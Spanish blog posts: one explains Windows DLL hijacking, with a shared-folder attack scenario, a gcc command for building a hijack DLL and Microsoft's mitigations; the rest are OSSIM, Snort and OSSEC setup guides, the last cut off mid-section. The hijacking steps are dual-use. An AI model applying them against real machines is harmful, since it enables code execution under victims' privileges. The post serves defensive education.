DLL Hijacking: otra forma de explotar aplicaciones en Windows
Desde hace unos días hay mucho revuelo concerniente a la publicación de HD Moore (creador de Metasploit) sobre la ejecución de código a través de DLL Hijacking. Prácticamente todos los blogs de seguridad han mencionado el tema y ya se subieron más de 20 exploits en Exploit Database para aplicaciones como Power Point, Firefox, Visio, Groove, Winamp, Google Earth, Photoshop y muchas más!

De qué trata DLL Hijacking y por qué afecta a tantas aplicaciones? Realmente es algo muy simple. DLL Hijacking se aprovecha de la forma en que se buscan las librerías dinámicas (DLL) en el filesystem cuando un programa intenta cargarlas utilizando la función LoadLibrary. Lo que hace un atacante es crear una librería dinámica propia, que se llame igual a alguna de las que carga un dado programa cuando intenta abrir un determinado tipo de archivo. Como al momento de abrir el archivo (por ejemplo un pps) el directorio de trabajo es el del archivo, si el atacante planta su librería ahí, el programa cargará esa en lugar de la original... gualá!!!

Este ataque tiene sentido cuando tenemos archivos compartidos. Supongamos que tenemos un servidor de archivos basado en CIFS (o SMB, los clásicos shares de Windows) donde distintas personas pueden leer y escribir. Ahora supongamos que Malicioso crea un pps en el servidor y le dice a Josesito "mira la presentación que puse en tal directorio". A su vez, Malicioso crea una librería dinámica que sabe que Power Point intentará cargar al abrir el pps. Si Josesito no es desconfiado y es lo suficientemente curioso, abrirá la presentación directamente desde el servidor de archivos (por experiencia, todos hacen eso, nadie copia las cosas a su disco). Al hacer esto, el Power Point de Josesito cargará la librería creada por Malicioso en lugar de la original, permitiendo a Malicioso ejecutar lo que quiera con los permisos de Josesito!

Para jugar un rato, descarguen alguno de los exploits que figuran en la sección Local Exploit de Exploit Database. Muchos traen la explicación de cómo compilar las librerías, pero les comento que pueden hacerlo con el gcc para Windows de la siguiente forma:
gcc -shared -o <nombre-libreria-hijack>.dll <codigo>.c
Entonces, es un problema de Windows? nop, esta vez Windows se salva. El problema es de las aplicaciones que no especifican correctamente el path a sus librerías. Como pueden ver en el manual de la función Load Library, ésta toma como parámetro el nombre de una librería y la carga en memoria. Si no se especifica path a la misma, la función realiza una búsqueda estándar, es decir, se busca la librería en directorios predeterminados. El orden de búsqueda depende de si "Safe DLL search mode" está activo o no. La clave de registro que activa/desactiva el modo safe se encuentra en HKLM\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode (en XP y 2000 SP 4 viene deshabilitado por default).
Si SafeDllSearchMode está habilitado, el orden de búsqueda es el siguiente:
1. El directorio desde donde se carga la aplicación.
2. El directorio de sistema.
3. El directorio de sistema de 16-bit.
4. El directorio de Windows
6. Los directorios que están listados en la variable de entorno PATH.
Si SafeDllSearchMode está deshabilitado, el orden es el siguiente:
1. El directorio desde donde se carga la aplicación.
2. El directorio actual.
3. El directorio de sistema.
4. El directorio de sistema de 16-bit.
5. El directorio de Windows
6. Los directorios que están listados en la variable de entorno PATH.
Este orden de búsqueda estándar se puede alterar utilizando la función LoadLibraryEx o bien con SetDllDirectory, con las cuales especificamos dónde buscar primero.

Como se darán cuenta, esta vulnerabilidad afecta a toda aplicación que no explicite el path a sus librerías, y por ello es que debe haber cientos o miles de aplicaciones perjudicadas.

Ahora, si es algo tan simple, cómo es que nadie lo descubrió antes? Bueno, si lo hicieron, en F-Secure dicen que se publicó sobre esta vulnerabilidad hace como 10 años, pero ahora surgió el revuelo porque HD Moore publicó un kit que permite encontrar rápidamente aplicaciones vulnerables. Pueden leer y descargar el kit en Exploiting DLL Hijacking Flaws y Better, Faster, Stronger: DLLHijaAuditKit v2.

Si bien mencioné que el exploit tiene sentido desde shares de Windows, otras formas de utilizarlo es desde archivos comprimidos, pen-drives, y WebDav (extensión de MS para HTTP en IIS).

MS publicó hace unos días un advisory para administradores donde explican algunas medidas a tomar para minimizar los riesgos. Entre las soluciones provisionales proponen:
- Deshabilitar la carga de librerías desde WebDAV y shares remotos.
- Deshabilitar el servicio WebClient.
- Bloquear los puertos 139 y 445 usando firewall. Claro que esto los dejará sin los shares...
Por supuesto que deberán estar atentos a los parches que publiquen los distintos proveedores para solucionar este problema.
También publicaron una guía para programadores sobre lo que pueden hacer para proteger sus aplicaciones contra el DLL Hijacking. Básicamente las recomendaciones son:
- Especificar el path completo a la librería siempre que sea posible.
- Usar DLL Redirection o un manifest para asegurarse de que están utilizando la DLL correcta.
- Asegurarse de que "safe DLL search mode" esté habilitado.
- Eliminar el directorio actual del path de búsqueda llamando la función SetDllDirectory con un string vacío ("").
- No usar la función SearchPath para obtener el path de una librería a menos que "safe process search mode" esté habilitado.
- No asumir versión de sistema operativo basados en lo retornado por LoadLibrary.

Espero haberlos iluminado un poco sobre el tema y sobre todo espero que los programadores tomen conciencia de este tipo de ataque a la hora de programar.
Instalación y configuración de OSSIM (alias "The Perfect Setup")
Después de hacer una introducción a esta interesante herramienta de monitoreo, y ya teniendo en mente los programas que utiliza y qué función desempeña cada uno, podemos comenzar a instalar y configurar el sistema. Para el que se perdió las entregas anteriores, pueden leer el completo review que hice de OSSIM en los siguientes links: Parte I, Parte II, y Parte III.
Si bien la instalación es tan simple como la de cualquier otra distribución, la configuración no lo es tanto. Todo va a depender de la red que estamos monitoreando y de las funciones que deseamos utilizar.
En este artículo voy a plantear la configuración que realicé en el sistema de mi empresa, pero puede que no se adapte a toda red. La realidad es que no existe una receta mágica, y uno se va dando cuenta de lo que necesita alertar y lo que desea obviar una vez que tiene el sistema sniffeando.
Lo que planteo a continuación es una lista de pasos de configuración que realicé, a partir de la observación y la lectura de muchos manuales/artículos/tutoriales. Hace más de dos meses que utilizo OSSIM y todavía queda mucho por aprender. La idea es tener un sistema seguro, que alerte sólo lo que necesitamos.

El artículo inicial lo escribí hace más de un mes, pero como era extremadamente extenso y muchos temas se podían tratar por separado, decidí partirlo en varios artículos genéricos, como el uso de NTP, la activación de HTTPS, la configuración de Snort, las modificaciones a Oinkmaster y las actualizaciones automáticas. En este artículo haré referencia a ellos en el caso que la explicación lo requiera.


Configurar switch para monitorear

Para poder monitorear, primero tenemos que ser capaces de recibir el tráfico que nos interesa. En redes switcheadas, si todo va bien, sólo veremos el tráfico dirigido a la máquina conectada, y el tráfico broadcast. Esto por supuesto no nos sirve si queremos monitorear varios servidores o la red completa.
Por suerte los switchs vienen preparados para realizar monitoreo. No se de otras marcas, pero los Cisco ofrecen dirigir el tráfico de otros ports a un dado port. Es decir, es posible enviar al port donde está conectada nuestra máquina monitor todo el tráfico de otros ports.

Los comandos a ejecutar para realizar esta tarea son muy simples. Debemos definir una sesión de monitoreo, y asignar los ports fuentes y el port destino (nuestra máquina monitor).
Suponiendo que tenemos nuestra máquina monitor en el port GigabitEthernet 0/1, y que deseamos monitorear los ports Gi0/4, Gi0/5 y Fa1/7, los comandos a ejecutar serían:
switch(config)# monitor session 1 destination interface G0/1
switch(config)# monitor session 1 source interface Gi0/4, Gi0/5
switch(config)# monitor session 1 source interface Fa1/7
Listo, ya podemos monitorear =)


Instalando OSSIM

OK, el paso más simple será descargar e instalar OSSIM en la máquina destinada a monitoreo.
La descarga la pueden realizar en la sección download de la página de alienvault. La primer decisión que deberán tomar es si instalar la versión de 32 o la de 64 bits. Mi recomendación es que si tienen un procesador de 64bits, instalen la versión de 64bits. Esta versión aprovechará mejor los recursos, y a pesar de la creencia general, las distribuciones de 64bits no ocasionan problemas. Yo utilizo debian de 64bits hace más de 3 años, y no he tenido ningún inconveniente.

El requerimiento de hardware dependerá de la cantidad de hosts a monitorear, y las herramientas de monitoreo que activen. La gente de alienvault recomienda tener una máquina con un mínimo de 2GB de RAM, y por supuesto, una placa de red de 1 Gbit. No hacen ninguna referencia al procesador o al disco, pero por mi experiencia recomendaría como mínimo un Core 2 Duo o un Athlon X2 de 2GHz, y 500GB de disco (realmente se generan muuuuchos logs). Si bien con 2GB de RAM, y desactivando algunos monitoreos, el sistema puede sobrevivir, les recomiendo que se gasten en tener 4GB, así utilizan menos swap y aceleran el sistema.

Los pasos de la instalación son tan simples como el de cualquier distribución basada en debian. Igualmente pueden encontrar una guía en la misma página de OSSIM.


Pasos iniciales

Una vez terminada la instalación, se encuentran con que el sistema inicia en modo consola. Si bien pueden instalar algún entorno gráfico, no creo que valga la pena, simplemente sobrecargarán al ya sobrecargado sistema (a menos que tengan un server con recursos de sobra). Además el sistema funciona completamente por Web, solamente la configuración inicial requerirá que utilicen la consola.

Como bien dije, las herramientas más importantes se visualizan por Web. Por un lado tienen el OSSIM, y por otro Ntop. Si bien Ntop está (al igual que el resto de las herramientas), embebido en las secciones del OSSIM, pueden accederlo directamente a través del port 3000. Ntop no corre sobre apache, sino que ejecuta su propio servidor Web. Les recomiendo que utilicen esta interfaz porque Ntop trae muchísima información que no es desplegada dentro de OSSIM.

Para el resto de la configuración no necesitan estar sentados frente a la máquina monitor, sino que pueden accederlo remotamente a través de SSH, el cual ya viene instalado y funcionando. Claro está que les recomiendo tener siempre un teclado y monitor a mano, porque cuando configuremos el firewall, puede que perdamos la conexión remota =P


Configurar el firewall

OSSIM por defecto trae una configuración de iptables que nos permite acceder a los servicios más importantes (SSL, HTTP y HTTPS), pero obviamente al no conocer de antemano las IPs que tienen permitido el acceso, utiliza una política permisiva que debemos cambiar.
El script que inicia/detiene/reinicia el firewall es /etc/init.d/ossim-firewall. En este script encontrarán que OSSIM realiza un restore de las reglas ubicadas en /etc/ossim_firewall, así que debemos tocar este último archivo.
En ossim_firewall encontrarán, como les anticipé, que las políticas default son ACCEPT. Antes de cambiar esto, debemos modificar las reglas que nos permiten acceso, porque sino, perderemos la conexión (a quién no le ha pasado alguna vez =)).
Para cada servicio utilizado, debemos agregar las IPs desde las que se lo puede acceder. En nuestro caso, remotamente solo accederemos a través de SSH, HTTP, HTTPS, y Ntop, mientras que permitiremos a MySQL que acceda localmente.
Suponiendo que la IP de la máquina monitor es 192.168.1.30 y que permitimos el acceso desde la IP 192.168.1.2, las reglas deberían quedar como las siguientes:
# permitimos ssh
-A INPUT -s 192.168.1.2 -p tcp -m state --state NEW -m tcp --dport 22 -j ACCEPT

# aceptamos que MySQL se conecte localmente
-A INPUT -p tcp -m state --state NEW -m tcp --dport 3306 -s 127.0.0.1 -j ACCEPT
-A INPUT -p tcp -m state --state NEW -m tcp --dport 3306 -s 192.168.1.30 -j ACCEPT

# permitimos HTTP
-A INPUT -s 192.168.1.2 -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT

# permitimos HTTPS
-A INPUT -s 192.168.1.2 -p tcp -m state --state NEW -m tcp --dport 443 -j ACCEPT

# permitimos Ntop
-A INPUT -s 192.168.1.2 -p tcp -m state --state NEW -m tcp --dport 3000 -j ACCEPT
Ahora que ya sabemos lo que vamos a permitir, rechacemos todo el resto. Para ello, modificamos las políticas default, cambiando las líneas
:INPUT ACCEPT [0:0]
:FORWARD ACCEPT [0:0]
por
:INPUT DROP [0:0]
:FORWARD DROP [0:0]


Habilitar NTP

Si tenemos una red de mediana a grande, probablemente tengamos configurado algún servidor NTP (sobre todo si están en un entorno Windows Active Directory).
Tal como anticipé en la introducción, hace uno días publiqué cómo configurar el sistema como cliente NTP en el artículo Configurar NTP en GNU/Linux. Se aplica exactamente lo mismo en OSSIM.


Habilitando HTTPS


En la instalación default, OSSIM no provee seguridad para acceder a su interfaz Web, simplemente transmite los datos a través de HTTP. Absolutamente todo fluye a través de HTTP, incluso las credenciales de acceso al server. Por ello, el primer paso a realizar es activar HTTPS.
Al igual que en el caso de NTP, hace un tiempo publiqué un artículo que explica cómo habilitar HTTPS en Apache y sobre cómo forzar el uso de SSL. Me remito entonces a tal artículo porque se aplica lo mismo en este caso: Activar HTTPS en Apache + Forzar SSL.


Deshabilitar servicios

Si bien todas las herramientas tiene su utilidad, puede que no necesitemos todas, y si no las necesitamos, es mejor desactivarlas para que no consuman valiosos recursos.
En mi caso, encontré que las herramientas que detectan servicios en la red no eran necesarias, debido a que conozco los dispositivos que se encuentran conectados, y el gasto de recursos que suponían no valía la pena. Por esto, desactivé las herramientas pads y p0f.
Pads me resultó llamativo por el consumo de CPU. Estando pads activado, la utilización de CPU estaba siempre al 100%, con pads encabezando la lista con alrededor de un 97% de utilización. Realmente este alto consumo no justificaba una funcionalidad que puedo realizar con nmap.
P0f no consume tantos recursos pero si genera muchos logs del tipo "se encontró que una máquina tiene el mismo sistema operativo que antes", es decir, mensajes totalmente inútiles que llenan logs y fastidian la vida de la persona que los lee.
A su vez, dado que el administrador de dominio de la red ya cuenta con otras herramientas para monitorear los hosts, también deshabilité el Nagios.

Para desactivar herramientas, primero eliminamos los links desde los diferentes rc* para que no se inicien cada vez que arrancamos el sistema:
# update-rc.d pads remove
# update-rc.d nagios3 remove
También necesitamos eliminar los servicios de la lista de servicios levantados por OSSIM. Esto lo hacemos comentando las líneas correspondientes en /etc/ossim/agent/config.cfg, en la sección [plugins]:
#p0f_eth0=/etc/ossim/agent/plugins/p0f_eth0.cfg
#pads_eth0=/etc/ossim/agent/plugins/pads_eth0.cfg
La anécdota con este último paso es que si no lo realizamos, cada vez que matamos un servicio, OSSIM lo vuelve a revivir! (servicio Highlander como suele llamarlo Javi).

Ahora sí, estando seguros de que nadie revivirá los servicios, los detendremos con su correspondiente script en /etc/init.d, o bien ejecutamos un kill:
# /etc/init.d/pads stop
# /etc/init.d/nagios3 stop
# killall p0f_eth0


Mantener el sistema actualizado

Algo que es extremadamente importante es mantener el sistema actualizado. Esto permite mantener el sistema seguro, parchando vulnerabilidades.
Tal como les expliqué en el artículo Actualizaciones automáticas de seguridad en GNU/Linux, realizar actualizaciones automáticas pueden provocar inestabilidad y por ello es recomendable aplicar automáticamente sólo actualizaciones de seguridad. En el artículo citado les comento cómo hacer esto con la herramienta unattended upgrades.

Además de las actualizaciones de seguridad, también necesitamos mantener actualizadas las reglas de nuestro snort. Los temas relacionados a la configuración de snort los traté en el artículo Customizando Snort (). Particularmente el tema de actualizar reglas lo pueden encontrar rápidamente en la sección "Mantener Snort actualizado" de dicho artículo.

Cuando se actualizan las reglas de snort, si queremos que OSSIM las detecte debemos ejecutar un script en perl que mapea reglas con entradas en la base de datos del OSSIM (ver Install Oinkmaster and update snort rules):
perl /usr/share/ossim/scripts/create_sidmap.pl /etc/snort/rules/
Esto lógicamente hay que ejecutarlo cada vez que se agregan/actualizan/eliminan reglas, es decir, cada vez que Oinkmaster hace su trabajo. Por ello podemos agregar una entrada en cron que cada día actualice la base de atos:
# rebuild the sid database of ossim
perl /usr/share/ossim/scripts/create_sidmap.pl /etc/snort/rules/ 2>&1 | logger -t ossim-snort
Si leen el artículo sobre snort, encontrarán que ya había creado un script para cron que ejecute tareas relacionadas a la actualización de reglas, así que tranquilamente pueden la línea anterior a dicho script.


Acceso a la interfaz Web OSSIM

Cuando utilicen por primera vez la interfaz Web de OSSIM, se encontrarán con que les pide credenciales que ustedes nunca crearon. Pues bien, esta información la pueden encontrar rápidamente en la guía de OSSIM, pero para ahorrarles el trabajo les comento que las credenciales default son admin:admin.
Cuando se logueen por primera vez usando las credenciales anteriores el sistema les pedirá que cambien el password.


Administración de ntop

Luego de instalar OSSIM, ntop ya se encuentra en funcionamiento y podemos ver las estadísticas que arma a partir de los paquetes observados. Pero si quieren ingresar a la sección "Admin", no van a poder porque requiere un password que nunca asignamos. El password lo podemos asignar desde la consola ejecutando el comando:
# ntop -A
En particular, necesité acceder a las preferencias de la sección Admin para setear el path al programa dot, el cual se encarga de graficar la conexión entre nodos. El gráfico lo pueden ver en "IP -> Local -> Network Traffic Map", eso si, si logran entender algo, es un milagro =P


Corregir Nagios

Si decidieron utilizar Nagios, se van a encontrar con un problema. No investigué demasiado, pero alguno de los programas que descubren hosts, los va agregando automáticamente a Nagios para poder realizar el seguimiento. El problema está en que no realiza correctamente la configuración, porque los agrega en un archivo pero no crea la definición del host.
Por ejemplo, el programa descubre un host que escucha en el port 445, entonces agrega el host a hostgroup-services/port_445_Servers.cfg. Ese archivo define grupos de host que escuchan en el port 445. Hasta aca todo bien. Pero como no crea una definición para el host, cuando Nagios intenta leer la configuración, arroja un error del estilo "Error: Could not find any host matching '<IP>' (config file '/etc/nagios3/conf.d/ossim-configs/hostgroup-services/port_445_Servers.cfg', starting on line 1)".
Para que Nagios vuelva a funcionar debemos, o bien quitar de port_445_Servers.cfg la IP del host, o bien crear una definición para el Host. Las definiciones de Hosts están agrupadas en /etc/nagios3/conf.d/ossim-configs/hosts/. Pueden agarrar algún archivo de host ya configurado como base, copiarlo y cambiar la IP. El formato de los archivos que definen hosts es:
define host{
host_name <IP>
address <IP>
use generic-host
}
Deberán generar uno de estos archivos por cada host que tengan en la red. También pueden agregar varias definiciones en un mismo archivo, lo de separarlos es por seguir el funcionamiento de OSSIM.


Desactivar alertas molestas

Como menciono al principio del artículo, OSSIM funciona bien apenas lo instalamos, pero es necesario customizarlo para que nos alerte lo que necesitamos. Las configuraciones default nunca son buenas, y este no es un caso especial. Apenas conecten la máquina a la red para monitorear, van a notar una montaña de alertas con falsos positivos. En mi caso, en dos días monitoreando 8 servidores el log creció 40GB! así no hay disco que aguante. Lo bueno es que uno puede reconocer rápidamente cuáles son los falsos positivos más recurrentes y desactivarlos.

Recuerden que en OSSIM se muestran las alertas de todas las herramientas que corren por debajo, como ser snort, OSSEC, p0f, pads, arpwatch, etc. Por supuesto que el que genera la mayor cantidad de alertas es snort. El segundo en generar alertas molestas es OSSEC. Por ello voy a tratar estas dos herramientas en particular.


Configurar snort

Snort es probablemente la herramienta más importante dentro de OSSIM, pero también la más compleja. Con ella perdi la mayor cantidad de tiempo, monitoreando alertas, buscando y aprendiendo lo que reportaban y desactivando lo que no necesito.

En el artículo Customizando Snort traté todos los temas relacionados a esta herramienta, incluída la desactivación de alertas y la configuración de preprocesadores. Me remito entonces a tal artículo.
Lo único que deben tener en cuenta al leer el artículo es que OSSIM genera un archivo de configuración por cada interfaz de red que utilicemos para monitorear. Por ejemplo, si deseamos monitorear con la interfaz eth0, OSSIM genera y utiliza el archivo de configuración /etc/snort/snort.eth0.conf en lugar del clásico snort.conf. A su vez, como explico también en el artículo de snort, los paquetes snort de debian utilizan las variables configuradas en snort.debian.conf, que en OSSIM están en archivos dependientes de la interfaz (tomando como ejemplo eth0, el archivo se llamará snort.debian.eth0.conf).

Algo que también me llamó la atención es el hecho de tener dos binarios para el snort. Por un lado tenemos el común "snort", y por otro uno llamado "snort_eth0". En el caso de tener más placas de red, tal vez OSSIM habría creado un tercer binario llamado snort_eth1, pero no pude encontrar información al respecto, así que no puedo asegurarlo. No descubrí diferencias entre los binarios snort y snort_eth0, incluso calculé los hashes md5 y dan igual... si alguien tiene idea de cuál es el sentido de tener dos binarios, agradeceré comentarios. La teoría de Javi es que esta distinción entre nombres es para que cuando se listan procesos (por ejemplo usando top), uno pueda ver rápidamente en qué interfaz está escuchando cada proceso de snort.


Personalizar alertas en OSSEC

OSSEC se mostró incordioso con los errores en los logs. Básicamente OSSEC busca expresiones regulares en los logs y cuando detecta patrones extraños, los reporta. También posee otras funcionalidades, pero ésta es la que más se utiliza por default en OSSIM.
Luego de observar un rato los alertas en OSSIM, descubrimos rápidamente el error "Unknown problem somewhere in the system" por destacarse en cantidad de apariciones. Este error para nada descriptivo lo arroja OSSEC cuando detecta la presencia de palabras como error, failure, failed, en los logs, y no existe alguna regla que entienda el error. Esto es, una regla detecta la palabra error, si no existe otra regla que detecte un patrón conocido en esa línea, se arroja el error "Unknown problem somewhere in the system" porque no sabe con qué está lidiando, sólo sabe que es un error.

En el caso de mi monitor, encontré que había muchos errores del tipo "Error reading channel stat information. Missing key" en syslog, y por ello saltaba la alerta. La regla que dispara esta alerta está ubicada en /var/ossec/rules/syslog_rules.xml y tiene el siguiente formato:
<rule id="1002" level="2">
<match>$BAD_WORDS</match>
<options>alert_by_email</options>
<description>Unknown problem somewhere in the system.</description>
</rule>
donde $BAD_WORDS es "core_dumped|failure|error|attack|bad |illegal |denied|refused|unauthorized|fatal|failed|Segmentation Fault|Corrupted". Como no me interesa llenar mi pantalla de monitoreo con este tipo de errores, decidí crear una regla que se abstenga de reportar.

Escribir reglas para OSSEC es relativamente sencillo, posee un poderoso motor de expresiones regulares, así que podemos crear reglas complejas. El formato es XML, así que cualquiera puede adaptarse rápidamente.
Al igual que snort, poseemos un archivo donde agregar reglas definidas por nosotros, el cual es /var/ossec/rules/local_rules.xml.
La regla que definiré no reportará el error si la expresión regular coincide con el error "Error reading channel stat information. Missing key" y el programa que la reporta es nfsen:
<rule id="101002" level="2">
<if_sid>1002</if_sid>
<program_name>^nfsen</program_name>
<regex>Error reading channel stat information. Missing key \s+</regex>
<options>no_email_alert</options>
</rule>
Como observan, el nuevo id es diferente al original. De esta forma, primero matchea la primer regla, pero como hay una regla que dice no alertar estos casos, entonces no lo hace.

Pueden leer más sobre customizar reglas OSSEC en Why does ossec send me so many emails?. Me resultó interesante la frase que citan en el mismo: "To keep ossec useful and yourself sane you need to do some tunning to keep the signal to noise ratio high" =)

Para aprender más sobre OSSEC, vean el FAQ donde pueden encontrar mucha ayuda.


FIN (fin?)

Ya escribí 4 artículos sobre OSSIM (y 5 más que surgieron durante la configuración) y todavía no se si he finalizado o no de analizar esta distribución. Las herramientas que trae son grandiosas, pero requieren de bastante configuración para que se adapten correctamente a nuestras necesidades.
Sin dudas snort es la herramienta más importante y merece un buen estudio, leyendo sus manuales, aprendiendo sobre sus reglas y preprocesadores. Pero así como es de grandiosa es de molesta. Si no está correctamente configurada, tendremos miles de logs inútiles que nos darán un buen dolor de cabeza. Lo bueno es que el código está ahí, ustedes pueden deshabilitar/modificar/agregar reglas de forma muy simple!

Es claro que la configuración que presenté en este artículo está adaptada a las necesidades de mi empresa, pero creo que es lo suficientemente general para adaptarla a la mayoría de las empresas/instituciones, por lo que espero que les sea de mucha utilidad.
Lo que planteo en este artículo tiene muchas horas de investigación, prueba y error, lectura de manuales/blogs/tutoriales/etc. Muchas horas de enojos cuando algo no sale y satisfacción cuando las cosas andan.

Espero haber brindado con esta seguidilla de artículos una especie de guía, algo que yo no tuve, recopilando información y a la vez aportando experiencias y datos que no encontré en ningún lugar.
Actualizaciones automáticas de seguridad en GNU/Linux
Algo que es extremadamente importante en un servidor GNU/Linux es mantener el sistema actualizado. Esto permite mantener el sistema seguro, parchando vulnerabilidades.
El problema con las actualizaciones es la posible inestabilidad. Si bien las actualizaciones de seguridad no suelen introducir errores (nótese el resaltado "no suelen"), las actualizaciones de versión pueden requerir interacción humana. Es por ello que no es recomendable actualizar automáticamente un sistema. Imaginense si una actualización del apache requiere instalar un nuevo archivo de configuración que pisa el archivo donde habilitamos SSL... en estos casos el sistema suele preguntar si deseamos pisar el archivo actual o bien dejarlo. Si la actualización es automática, no sabremos qué hará el sistema, tal vez por defecto lo pisa y perdemos nuestra configuración! Una actualización incorrecta de libc puede dejarlos con el sistema totalmente inutilizable (no anda ni un "ls", lo digo por experiencia...).
Existen formas de automatizar la instalación de nuevas versiones (ej usando cron), pero por lo explicado anteriormente, no es recomendable.

Como dije, las actualizaciones automáticas de versión son muy peligrosas, así que las dejaremos de lado para hacerlas cuando estemos seguros. Lo que sí podemos automatizar es la instalación de updates de seguridad, algo que nos dejará tranquilos sabiendo que el sistema se mantiene al día con la seguridad. Para este proceso existe una herramienta llamada unattended-upgrades, la cual descarga las actualizaciones de seguridad (si existe alguna), y las instala. Si la actualización requiere interacción, no la instala, dejando el trabajo al usuario. unattended-upgrade en sí es un script escrito en python que se ejecuta a través de cron (ver /etc/cron.daily/apt).
La instalación de esta herramienta es tan simple como ejecutar:
# apt-get install unattended-upgrades
Una vez instalado unattended-upgrade, debemos configurar el intervalo de tiempo (en días) para que se realicen los upgrades. Esto lo hacemos en el script que ejecuta cron (/etc/cron.daily/apt), cambiando las variables UpdateInterval y UnattendedUpgradeInterval. Por defecto estas se encuentran en 0 (deshabilitada), yo las pondré en 1 para que se ejecute todos los días:
UpdateInterval=1
UnattendedUpgradeInterval=1

Pueden ver los logs de esta aplicación en /var/log/unattended-upgrades/. En las líneas que dicen "Packages that are upgraded" se listan los paquetes que se instalarán automáticamente, y si luego ven "All upgrades installed" es que todo fue bien.
También se encontrarán con líneas del estilo "package <paquete> not upgraded" que indican los paquetes que tienen actualizaciones disponibles pero que no se instalarán automáticamente (por el ya mencionado riesgo de hacerlo). Si desean instalar estos paquetes, deberán hacerlo a mano.

Vengo usando este sistema de actualizaciones automáticas desde hace un mes y no he tenido problemas, espero que les resulte de utilidad.
Customizando Snort
Como mencioné en la primer parte del review de OSSIM, Snort es el mejor y más completo IDS que existe, pero también es bastante complejo. Lograr que la herramienta reporte lo que deseamos requiere de tiempo de análisis monitoreando alertas, buscando y entendiendo lo que reporta y desactivando lo que no necesitamos.
Configurarlo no es cosa de un día, sino una tarea que haremos mientras lo utilicemos. Uno no puede conocer todas las alertas de antemano (son miles), sino que las va conociendo a medida que reportan algo. Lo bueno es que con una buena configuración inicial, los toques que tendremos que hacer en el día a día son mínimos o nulos.
El siguiente artículo resume el trabajo que realicé a lo largo de casi un mes de lidiar con Snort y espero que les ahorre tiempo al momento en que decidan instalar la herramienta. Si bien la mejor forma de aprender es peleando con el sistema, espero que los consejos que doy en esta especie de "guía de configuración" les evite perder tiempo por no haber tenido en cuenta ciertas cosas, como por ejemplo, una buena configuración de snort.conf.


Información previa a la configuración

Antes de comenzar a configurar snort es necesario que conozcan bien cuáles son sus redes locales, cuáles son las direcciones IP de sus servidores, y en cuáles redes confiamos para que accedan a nuestros servidores.
Si en la red, la salida a internet es a través de uno o varios Proxy, tengan a mano las direcciones IP de estos también, ya van a ver por qué.
También es necesario conocer bien las políticas de la empresa. Por ejemplo, utilizar MSN en algunas empresas está permitido y en otras no. Si está permitido, muchas alertas de snort pueden resultar molestas y hay que desactivarlas.
Tengan a mano el manual oficial de snort: Snort User Manual. Es muy completo y lo van a necesitar para entender cómo funcionan las reglas y los preprocesadores. Creo que la parte más jugosa del manual es la de los preprocesadores porque no son tan simples de entender como las reglas.


Mantener Snort actualizado


Para estar al día con los problemas que van surgiendo necesitamos mantener actualizadas las reglas de nuestro snort. Si recuerdan, snort utiliza un conjunto de reglas y de preprocesadores para analizar el tráfico de red. Las reglas se van actualizando a medida que se descubren ataques, o se crean políticas para evitar ciertos dominios. Por ello, necesitamos actualizar las reglas para estar al día.

Para automatizar la descarga de reglas utilizaremos Oinkmaster. Oinkmaster es un script escrito en perl que nos permite descargar las nuevas reglas de forma automática y realizar algunas acciones sobre ellas, como deshabilitarlas, obviarlas, o incluso modificarlas. Esto es extremadamente útil porque durante la customización de las reglas, puede que modifiquemos reglas, o que las eliminemos y no queremos que al realizar la actualización nos pisen nuestras reglas adaptadas con las nuevas descargadas!
Por suerte el paquete oinkmaster está incluido en debian y derivados, así que simplemente debemos instalarlo:
# apt-get install oinkmaster
Debido a que ahora Snort cobra por las reglas que crean, debemos utilizar el conjunto de reglas realizadas por la comunidad. Si bien estas reglas comunitarias son gratuitas, la gente de Sourcefire (empresa detrás de Snort) requiere que el usuario se registre en su página para obtenerlas. Una vez registrados entramos a la sección "rules" y generamos un Oinkcode. El Oinkcode permite armar la URL desde la cual descargamos las reglas. El formato de la URL es:
http://www.snort.org/pub-bin/oinkmaster.cgi/<oinkcode here>/<filename>
donde filename es el nombre del archivo armado a partir de la versión de snort que tengamos, por ejemplo snortrules-snapshot-2851.tar.gz
Una vez armada la URL, editamos el archivo /etc/oinkmaster.conf colocando nuestra URL de descarga:
url = http://www.snort.org/pub-bin/oinkmaster.cgi/<oinkcode here>/<filename>
Por defecto cuando instalamos oinkmaster no se agrega la entrada correspondiente en cron, así que si queremos que se ejecute diariamente, creamos un script bash en /etc/cron.daily/ que ejecute la actualización del oinkmaster:
#!/bin/bash

# check for snort updates with oinkmaster
oinkmaster -o /etc/snort/rules/ -b /data/snortback 2>&1 | logger -t oinkmaster

# replace rules to reflect a proxy in the lan - comment out if you don't have a proxy y your lan
# /usr/sbin/snort_proxy-fixer 2>&1 | logger -t snort_proxy-fixer
La última línea ejecuta un script que explicaré luego, pero básicamente reemplaza reglas para reflejar que existe un proxy en la red.
Como les mencionaba anteriormente, Oinkmaster nos permite mantener deshabilitadas reglas, o bien deshabilitarlas si las actualiza. Para hacer que la actualización no vuelva a habilitar las reglas que deshabilitamos, podemos agregar en oinkmaster.conf los SIDs de las reglas deshabilitadas. Por ejemplo, si queremos mantener deshabilitada la regla cuyo SID es 1411 (regla public SNMP), agregamos el sid en la línea:
disablesid 1411
Cabe aclarar en este punto que Oinkmaster sólo procesa las reglas que descarga, y si se han modificado con respecto a las que ya tenemos. Es decir, si seteamos para que Oinkmaster deshabilite la regla cuyo SID es 1411, sólo lo hará si el nuevo archivo que contiene dicha regla va a pisar al que ya teníamos. Por lo tanto, si no existen modificaciones en el archivo, Oinkmaster no lo procesa. Les aclaro esto porque Oinkmaster no sirve para deshabilitar reglas, a menos que las reglas se tengan que actualizar.
En resumen, si quieren deshabilitar reglas, haganlo sobre las reglas actuales, y agreguen el SID en disablesid para que Oinkmaster no las habilite cuando las actualiza.

Les resultará útil leer la documentación de Oinkmaster: Oinkmaster README.

Por si alguno no lo leyó, hace un tiempo publiqué una optimización para Oinkmaster que permite agragar rangos de sid en los parámetros disablesid, enablesid y localsid, algo que ahorra tiempo cuando queremos, por ejemplo, desactivar varias reglas dentro de un dado rango. Pueden ver la modificación y la forma de agregarla en el artículo Nueva característica para Oinkmaster.


snort.conf

Lo primero que deben hacer al configurar snort, es prestar mucha atención (si, mucha) al archivo de configuración. En el default de snort, el archivo suele ser /etc/snort/snort.conf, pero si tenemos más de una interfaz de red, conviene crear uno por cada interfaz. Por ejemplo OSSIM mantiene tanto snoft.conf como snort.eth0.conf.
